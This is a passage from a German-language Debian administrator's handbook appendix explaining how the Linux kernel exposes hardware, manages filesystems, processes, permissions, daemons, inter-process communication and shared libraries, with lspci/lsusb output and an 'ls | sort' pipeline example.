Der Kernel exportiert über die virtuellen Dateisysteme /proc/ und /sys/ zahlreiche Einzelheiten über die erkannte Hardware. Verschiedene Hilfsprogramme fassen diese Einzelheiten zusammen. Von ihnen zeigt lspci (im Paket pciutils) eine Liste der PCI-Geräte an, lsusb (im Paket usbutils) führt USB-Geräte auf und lspcmcia (im Paket pcmciautils) PCMCIA-Karten. Diese Hilfsprogramme sind zur Identifizierung des genauen Modells eines Geräts sehr hilfreich. Diese Identifizierung ermöglicht auch ein genaueres Suchen im Web, das wiederum zu relevanteren Dokumenten führt.

Beispiel B.1. Beispiel der von lspci und lsusb angezeigten Informationen

$ lspci
[...]
00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)
00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03)
00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03)
[...]
01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01)
02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)
$ lsusb
Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.
Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.
Bus 005 Device 007: ID 045e:00dd Microsoft Corp.
Bus 005 Device 006: ID 046d:c03d Logitech, Inc.
[...]
Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Diese Programme haben eine Option -v, durch die wesentlich detailliertere (aber gewöhnlich nicht erforderliche) Informationen angezeigt werden. Schließlich listet der Befehl lsdev (im Paket procinfo) die von den Geräten benutzten Kommunikationsressourcen auf.

Anwendungen greifen häufig mittels spezieller in /dev/ erzeugter Dateien auf Geräte zu (siehe Seitenleiste ZURÜCK ZU DEN GRUNDLAGEN Zugriffsberechtigungen für Geräte). Dies sind besondere Dateien, die Plattenlaufwerke (zum Beispiel /dev/hda und /dev/sdc), Partitionen (/dev/hda1 oder /dev/sdc3), Mäuse (/dev/input/mouse0), Tastaturen (/dev/input/event0), Soundkarten (/dev/snd/*), serielle Schnittstellen (/dev/ttyS*) und so weiter repräsentieren.

B.4.2. Dateisysteme

Dateisysteme sind einer der bedeutendsten Aspekte des Kernels. Unix-Systeme vereinen alle Dateispeicher in einer gemeinsamen Hierarchie, die es Benutzern (und Anwendungen) ermöglicht, auf Daten einfach durch Kenntnis ihres Ortes innerhalb dieser Hierarchie zuzugreifen.

Der Ausgangspunkt dieses Hierarchiebaums wird „root“ genannt, /. Dieses Verzeichnis kann mit Namen versehene Unterverzeichnisse enthalten. Das Unterverzeichnis home von / wird beispielsweise /home/ genannt. Dieses Unterverzeichnis kann wiederum weitere Unterverzeichnisse enthalten und so weiter. Jedes Verzeichnis kann auch Dateien enthalten, in denen die tatsächlichen Daten gespeichert sind. So bezieht sich /home/rmas/Desktop/hello.txt auf eine Datei namens hello.txt, die im Unterverzeichnis Desktop des Unterverzeichnisses rmas des Verzeichnisses home gespeichert ist, das sich in root befindet. Der Kernel übersetzt zwischen diesem Benennungssystem und dem tatsächlichen, physikalischen Speicherort auf einer Platte.

Im Gegensatz zu anderen Systemen gibt es nur eine derartige Hierarchie, und sie kann Daten verschiedener Speicherplatten einbinden. Eine dieser Platten wird als Wurzelverzeichnis verwendet, und die übrigen werden innerhalb der Hierarchie in Verzeichnissen „eingehängt“ (der entsprechende Unixbefehl heißt mount); diese anderen Platten sind dann unter ihren „Einhängepunkten“ verfügbar. Hierdurch wird es möglich, die Home-Verzeichnisse der Benutzer (üblicherweise in /home/ gespeichert) auf einer zweiten Festplatte abzuspeichern, die dann Verzeichnisse wie rhertzog und rmas enthält. Sobald diese Platte auf /home/ eingehängt ist, sind diese Verzeichnisse an ihren üblichen Orten zugänglich, und Pfade wie /home/rmas/Desktop/hello.txt funktionieren weiterhin.

Es gibt zahlreiche Dateisystemformate entsprechend den zahlreichen Arten, auf die Daten physisch auf Platten gespeichert werden. Die bekanntesten sind ext2, ext3 und ext4, es gibt aber auch andere. vfat ist zum Beispiel das System, das ursprünglich von DOS und den Windows-Betriebssystemen verwendet wurde, mit dem es möglich ist, Festplatten sowohl unter Debian als auch unter Windows zu benutzen. In jedem Fall muss auf einer Platte ein Dateisystem eingerichtet werden, bevor sie eingehängt werden kann, und dieser Vorgang wird als „formatieren“ bezeichnet. Befehle wie mkfs.ext3 (wobei mkfs für MaKe FileSystem steht) erledigen das Formatieren. Diese Befehle benötigen als einen ihrer Parameter eine Gerätedatei, die die zu formatierende Partition darstellt (zum Beispiel /dev/sda1). Dieser Vorgang ist löschend und sollte nur einmal ausgeführt werden, es sei denn, man möchte absichtlich ein Dateisystem unwiederbringlich löschen und von Neuem beginnen.

Es gibt auch Netzwerk-Dateisysteme, wie zum Beispiel NFS, bei denen Daten nicht auf einer lokalen Platte gespeichert sind. Stattdessen werden Daten über das Netzwerk zu einem Server übertragen, der sie nach Bedarf speichert und abruft. Die Dateisystem-Abstraktion bewahrt Benutzer davor, sich darum kümmern zu müssen: Dateien bleiben in ihrer üblichen hierarchischen Weise zugänglich.

B.4.3. Gemeinsam genutzte Funktionen

Da eine Anzahl von Funktionen von allen Programmen gemeinsam benutzt wird, macht es Sinn, sie im Kernel zusammenzufassen. Zum Beispiel ermöglicht der Einsatz eines gemeinsam benutzten Dateisystems es jeder Anwendung, einfach eine Datei anhand ihres Namens zu öffnen, ohne sich darum zu kümmern, wo die Datei physisch gespeichert ist. Die Datei kann in mehreren Teilen auf einer Festplatte gespeichert sein, über mehrere Festplatten verteilt sein oder sogar auf einem entfernten Dateiserver abgelegt sein. Gemeinsam genutzte Kommunikationsfunktionen werden von Anwendungen dazu verwendet, Daten unabhängig von der Art auf der sie transportiert werden, auszutauschen. Zum Beispiel könnte der Transport über eine beliebige Kombination aus lokalen und kabellosen Netzwerken oder über eine Festnetztelefonleitung verlaufen.

B.4.4. Prozesse verwalten

Ein Prozess führt ein Programm aus. Dies erfordert Speicherplatz, um sowohl das Programm selbst als auch seine Betriebsdaten zu speichern. Es ist die Aufgabe des Kernels, sie zu erzeugen und zu verfolgen. Wenn ein Programm läuft, reserviert der Kernel zunächst Speicherplatz, lädt dann den ausführbaren Code aus dem Dateisystem in den Speicher und beginnt schließlich, den Code auszuführen. Er hält Informationen über diesen Prozess bereit, von denen die am leichtesten erkennbare eine Identifikationsnummer namens pid (process identifier) ist.

Unix-artige Kernel (einschließlich Linux) sind, wie die meisten anderen modernen Betriebssysteme fähig, im „Mehrprozessbetrieb“ zu laufen. Mit anderen Worten ermöglichen sie die Ausführung zahlreicher Prozesse „zur gleichen Zeit“. In Wirklichkeit läuft zu einem bestimmten Zeitpunkt immer nur ein Prozess, aber der Kernel teilt die Zeit in kleine Abschnitte auf und führt reihum jeden Prozess aus. Da diese Zeitabschnitte sehr kurz sind (im Bereich von Tausendstelsekunden), entsteht die Illusion, dass die Prozesse parallel laufen, obwohl sie jeweils nur während bestimmter Zeitabschnitte aktiv sind und im übrigen untätig. Die Aufgabe des Kernels besteht darin, seinen Zeitplanungsmechanismus so anzupassen, dass diese Illusion erhalten bleibt, und gleichzeitig die allgemeine Systemleistung maximiert wird. Wenn die Zeitabschnitte zu lang sind, könnte es der Anwendung nicht so schnell angezeigt werden wie erwünscht. Sind sie zu kurz, verliert das System Zeit durch zu häufiges Umschalten zwischen den Aufgaben. Diese Entscheidungen können mithilfe von Prozessprioritäten optimiert werden. Prozesse mit hoher Priorität laufen länger und häufiger als Prozesse mit niedriger Priorität.

HINWEIS Multiprozessorsysteme (und Varianten)

Die oben beschriebene Einschränkung, nur einen Prozess gleichzeitig laufen zu lassen, gilt nicht immer. Die tatsächliche Einschränkung besteht darin, dass zu einem gegebenen Zeitpunkt immer nur ein Prozess je Prozessorkern laufen kann. Multiprozessor-, Multikern- oder „Hyper-Threading“-Systeme ermöglichen die parallele Ausführung mehrerer Prozesse. Das gleiche Zeitunterteilungssystem wird zwar weiterhin verwendet, jetzt jedoch dazu, mit Situationen umzugehen, in denen es mehr aktive Prozesse als verfügbare Prozessorkerne gibt. Dies ist nicht ungewöhnlich: ein einfaches System, selbst wenn es weitgehend nichts tut, führt fast ständig Dutzende von Prozessen aus.

Natürlich ermöglicht der Kernel es auch, mehrere unabhängige Instanzen desselben Programms auszuführen. Jedoch kann jede von ihnen nur auf ihre eigenen Zeitabschnitte und ihren eigenen Speicherplatz zugreifen. Ihre Daten bleiben daher voneinander unabhängig.

B.4.5. Rechteverwaltung

Unix-artige Systeme sind auch Mehrplatzsysteme. Sie verfügen über ein Rechteverwaltungssystem, das getrennte Gruppen und Benutzer ermöglicht und auf der Basis von Berechtigungen die Auswahl zwischen dem Zulassen und Blockieren von Aktionen. Der Kernel verwaltet für jeden Prozess die Daten, die es ermöglichen, Berechtigungen zu überprüfen. Meistens werden Prozesse anhand der Benutzer, die ihn gestartet haben, identifiziert. Der Prozess kann nur die Aktionen ausführen, die auch dem Besitzer erlaubt sind. Zum Beispiel muss der Kernel beim Versuch, eine Datei zu öffnen, die Identität des Prozesses hinsichtlich der Zugriffsberechtigungen überprüfen (für mehr Einzelheiten zu diesem speziellen Beispiel siehe Abschnitt 9.3, „Berechtigungen verwalten“).

B.5. Die Anwendungsebene

„Anwendungsebene“ bezieht sich auf die Laufzeitumgebung normaler Prozesse (im Gegensatz zu Kernelprozessen). Das bedeutet nicht unbedingt, dass diese Prozesse tatsächlich von Benutzern gestartet wurden, da auf einem Standardsystem üblicherweise bereits mehrere „Daemon“-Prozesse laufen, bevor ein Benutzer überhaupt eine Sitzung eröffnet. Daemon-Prozesse sind Prozesse der Anwendungsebene.

B.5.1. Prozess

Wenn der Kernel seine Initialisierungsphase beendet hat, startet er den ersten Prozess, init. Prozess #1 ist für sich selbst kaum nützlich und Unix-artige Systeme laufen mit vielen zusätzlichen Prozessen.

Zunächst einmal kann sich ein Prozess kopieren (dies wird als Fork bezeichnet). Der Kernel teilt einen neuen, aber gleichgroßen Prozess-Speicherplatz zu und einen weiteren Prozess, um ihn zu nutzen. Zu diesem Zeitpunkt besteht der einzige Unterschied zwischen den beiden Prozessen in ihrer PID. Der neue Prozess wird üblicherweise Kindprozess genannt, und der Prozess, dessen PID sich nicht ändert, Elternprozess.

Manchmal fährt der Kindprozess fort, sein eigenes Leben unabhängig vom Elternprozess mit seinen eigenen, vom Elternprozess kopierten Daten zu führen. In vielen Fällen führt der Kindprozess jedoch ein anderes Programm aus. Bis auf wenige Ausnahmen wird sein Speicher einfach durch den Speicher des neuen Programms ersetzt, und die Ausführung dieses neuen Programms beginnt. Dieser Mechanismus wird vom „init“-Prozess (der die Prozessnummer 1 hat) genutzt um weitere Services zu starten und so die gesamte Startsequenz durchzuführen. Zu einem bestimmten Zeitpunkt startet ein Prozess der init-Abkömmlinge dann eine grafische Schnittstelle, über die sich Benutzer anmelden können (der tatsächliche Ablauf der Ereignisse ist in größerer Ausführlichkeit in Abschnitt 9.1, „Systemstart“ beschrieben.

Wenn ein Prozess die Aufgabe, für die er gestartet wurde, erfüllt hat, beendet er sich. Anschließend nimmt der Kernel den diesem Prozess zugewiesenen Speicher wieder zurück und hört auf, Teile der Prozessorzeit zuzuteilen. Der Elternprozess wird über die Beendigung seines Kindprozesses informiert. Auf diese Weise kann ein Prozess auf den Abschluss einer Aufgabe warten, die er an einen Kindprozess übertragen hat. Dieses Verhalten ist bei Kommandozeileninterpretern (auch als Shells bekannt) deutlich zu sehen. Wenn ein Befehl in eine Shell eingegeben wird, erscheint die Eingabeaufforderung erst dann wieder, wenn die Ausführung des Befehls beendet ist. Die meisten Shells ermöglichen eine Ausführung des Befehls im Hintergrund. Dazu wird einfach ein & an das Ende des Befehls angehängt. Die Eingabeaufforderung wird dann sofort wieder angezeigt, was jedoch zu Problemen führen kann, wenn das abgesetzte Kommando seine eigenen Daten anzeigen muss.

B.5.2. Hintergrundprozesse (Dämonprozesse)

Ein „Daemon“ ist ein Prozess, der beim Hochfahren automatisch gestartet wird. Er läuft (im Hintergrund) weiter, um Verwaltungsaufgaben zu erledigen oder Dienste für andere Prozesse bereitzustellen. Diese „Hintergrundaufgabe“ ist genau genommen willkürlich und entspricht aus Sicht des Systems nichts Bestimmtem. Es sind, wie andere Prozesse auch, einfach Prozesse, die reihum laufen, wann immer ihr zugeteilter Zeitabschnitt kommt. Eine Unterscheidung gibt es nur in der menschlichen Sprache: ein Prozess, der ohne eine Interaktion mit einem Benutzer läuft (insbesondere ohne eine grafische Schnittstelle), wird als „im Hintergrund“ laufend oder als „Daemon“ bezeichnet.

WÖRTERVERZEICHNIS Daemon, Dämon, eine abwertende Bezeichnung?

Obwohl die Bezeichnung Daemon ihren griechischen Ursprung mit Dämon teilt, unterstellt erstere nichts teuflisch Übles, im Gegenteil sollte sie als eine Art hilfreicher Geist verstanden werden. Diese Unterscheidung ist im Englischen bereits recht subtil, in anderen Sprachen ist es jedoch noch schlimmer, in denen dasselbe Wort in beiden Bedeutungen verwendet wird.

Mehrere solcher Daemons sind ausführlich in Kapitel 9, Unix-Dienste beschrieben.

B.5.3. Interprozesskommunikationen

Ein einzelner Prozess, ob ein Daemon oder eine interaktive Anwendung, ist selten für sich genommen nützlich. Daher gibt es verschiedene Methoden, um getrennten Prozessen die Kommunikation miteinander zu ermöglichen, entweder um Daten auszutauschen oder um sich gegenseitig zu steuern. Die allgemeine Bezeichnung hierfür lautet Interprozesskommunikation oder abgekürzt IPC.

Das einfachste IPC-System besteht darin, Dateien zu verwenden. Der Prozess, der Daten übersenden möchte, schreibt sie in eine Datei (mit einem zuvor bekannten Namen), während der Empfänger nur die Datei zu öffnen und den Inhalt zu lesen braucht.

In den Fällen, in denen man keine Daten auf einer Platte speichern möchte, kann man eine Pipe benutzen, die einfach ein Objekt mit zwei Enden ist; Bytes, die am einen Ende geschrieben werden, können am anderen gelesen werden. Wenn diese Enden von verschiedenen Prozessen kontrolliert werden, führt dies zu einem einfachen und praktischen Interprozesskommunikationskanal. Pipes können in zwei Arten unterschieden werden: benannte Pipes und anonyme Pipes. Eine benannte Pipe wird durch einen Eintrag im Dateisystem dargestellt (obwohl die übermittelten Daten dort nicht gespeichert sind), so dass beide Prozesse sie unabhängig voneinander öffnen können, falls der Ort der benannten Pipe vorab bekannt ist. In Fällen, in denen die Kommunikationsprozesse in Zusammenhang miteinander stehen (zum Beispiel ein Eltern- und sein Kindprozess), kann der Elternprozess auch eine anonyme Pipe erstellen, bevor er sich vervielfältigt, und der Kindprozess übernimmt sie dann. Beide Prozesse können sodann durch diese Pipe Daten miteinander austauschen, ohne das Dateisystem zu benötigen.

IN DER PRAXIS Ein konkretes Beispiel

Lassen Sie uns beschreiben, was geschieht, wenn ein komplexer Befehl (eine Pipeline) von einer Konsole aus ausgeführt wird. Wir nehmen an, dass wir einen bash-Prozess haben (die standardmäßige Benutzerkonsole bei Debian) mit der PID 4374; in diese Konsole schreiben wir den Befehl: ls | sort.

Die Konsole interpretiert zunächst den eingegebenen Befehl. In unserem Fall versteht sie, dass es zwei Programme gibt (ls und sort) mit einem Datenstrom, der vom einen zum anderen fließt (gekennzeichnet durch das |-Zeichen, das als Pipe bezeichnet wird). bash erstellt zunächst eine anonyme Pipe (die anfangs nur innerhalb des bash-Prozesses selbst besteht).

Dann vervielfältigt sich die Konsole; dies führt zu einem neuen bash-Prozess mit der PID 4521 (PIDs sind abstrakte Zahlen und haben im Allgemeinen keine besondere Bedeutung). Prozess 4521 übernimmt die Pipe, was bedeutet, das er auf ihrer „Eingabe“-Seite schreiben kann; bash leitet seinen Standardausgabestrom auf die Eingabe dieser Pipe um. Dann führt es das Programm ls aus, das den Inhalt des aktuellen Verzeichnisses auflistet (und ersetzt sich selbst durch dieses Programm). Da ls auf seine Standardausgabe schreibt und diese Ausgabe zuvor umgeleitet wurde, werden die Ergebnisse im Endeffekt in die Pipe geschickt.

Ein ähnlicher Vorgang findet beim zweiten Befehl statt: bash vervielfältigt sich wieder, was zu einem neuen bash-Prozess mit der PID 4522 führt. Da er ebenfalls ein Kindprozess von 4374 ist, übernimmt er auch die Pipe; bash verbindet dann seine Standardeingabe mit der Pipeausgabe und führt danach den Befehl sort aus, der seine Eingabe sortiert und die Ergebnisse anzeigt (und ersetzt sich selbst durch diesen Befehl).

Alle Teile des Puzzles stehen nun bereit: ls liest das aktuelle Verzeichnis ein und schreibt die Liste der Dateien in die Pipe; sort liest diese Liste, sortiert sie alphabetisch und zeigt die Ergebnisse an. Die Prozesse 4521 und 4522 enden dann, und 4374 (der während des Vorgangs auf sie gewartet hatte) übernimmt wieder die Kontrolle und zeigt die Eingabeaufforderung an, die es dem Benutzer ermöglicht, einen neuen Befehl einzugeben.

Jedoch werden nicht alle Interprozesskommunikationen zur Übermittlung von Daten benutzt. In vielen Situationen bestehen die einzigen Informationen, die übertragen werden müssen, aus Steuerungsmitteilungen wie „Ausführung anhalten“ oder „Ausführung fortsetzen“. Unix (und Linux) stellen einen Mechanismus bereit, der Signale genannt wird, durch den ein Prozess einfach ein spezifisches Signal (aus einer festgelegten Liste vordefinierter Signale) an einen anderen Prozess senden kann. Die einzige Voraussetzung besteht hierbei darin, dass die PID des Zielprozesses bekannt ist.

Für komplexere Kommunikationen gibt es ebenfalls Mechanismen, die es einem Prozess ermöglichen, einem anderen Prozess Zugriff auf einen Teil des ihm zugeteilten Speicherplatzes zu gewähren oder ihn gemeinsam mit ihm zu benutzen. Der nun gemeinsam benutzte Speicherplatz ermöglicht es dann, Daten zwischen den Prozessen hin und her zu schieben.

Schließlich können auch Netzwerkverbindungen Prozessen helfen, miteinander zu kommunizieren; diese Prozesse können sogar auf verschiedenen Rechnern laufen, möglicherweise tausende von Kilometern voneinander entfernt.

Es ist für ein typisches Unix-artiges System recht normal, all diese Mechanismen in wechselndem Umfang zu verwenden.

B.5.4. Bibliotheken

Programmbibliotheken spielen in einem Unix-artigen Betriebssystem eine entscheidende Rolle. Sie sind nicht wirklich Programme, da sie für sich allein nicht ausgeführt werden können, sondern Ansammlungen von Code-Fragmenten, die von Standardprogrammen verwendet werden können. Unter den gängigen Bibliotheken sind vor allem folgende erwähnenswert:

- die Standard-C-Bibliothek (glibc), die grundlegende Funktionen enthält wie das Öffnen von Dateien und von Netzwerkverbindungen und andere unterstützende Interaktionen mit dem Kernel;

- grafische Werkzeugsätze, wie zum Beispiel Gtk+ und Qt, die es vielen Programmen ermöglichen, die grafischen Objekte, die sie bereitstellen, ihrerseits zu verwenden;

- die libpng-Bibliothek, die das Laden, Interpretieren und Speichern von Bildern im PNG-Format ermöglicht.

Dank dieser Bibliotheken können Anwendungen bestehenden Code wiederverwenden. Die Anwendungsentwicklung wird hierdurch entsprechend vereinfacht; insbesondere, wenn viele Anwendungen die gleichen Funktionen wiederverwenden. Da Bibliotheken häufig von verschiedenen Personen entwickelt werden, steht die allgemeine Entwicklung dieses Systems der historischen Philosophie von Unix sehr nahe.

KULTUR Der Unix-Methode: Eins nach dem Anderen

Eines der wesentlichen Konzepte, das der Unix-Familie von Betriebssystemen zugrunde liegt, ist, dass jedes Werkzeug nur eine Sache erledigen sollte, und dass es diese gut machen sollte; Anwendungen können dann diese Werkzeuge wiederverwenden, um damit eine höhere Logik aufzubauen. Dieses Konzept ist in vielen Verkörperungen zu erkennen. Shellskripte sind vielleicht das beste Beispiel: sie fügen komplexe Folgen sehr einfacher Werkzeuge zusammen (wie zum Beispiel grep, wc, sort, uniq und so weiter). Eine andere Umsetzung dieser Philosophie ist in den Code-Bibliotheken zu erkennen: die Bibliothek libpng ermöglicht es, PNG-Bilder mit verschiedenen Optionen und auf verschiedene Weise zu lesen und zu schreiben, aber sie tut nur das; es kommt nicht infrage, dass ihr Funktionsmerkmale hinzugefügt werden, die Bilder anzeigen oder editieren.

Ferner werden diese Bibliotheken häufig als „gemeinsam benutzte Bibliotheken“ bezeichnet, da der Kernel sie nur einmal in den Speicher laden kann, selbst wenn gleichzeitig mehrere Prozesse dieselbe Bibliothek nutzen. Hierdurch kann im Vergleich zur entgegengesetzten (hypothetischen) Situation, bei der der Bibliothekscode so viele Male geladen würde, wie es Prozesse gibt, die ihn benutzen, Speicherplatz gespart werden.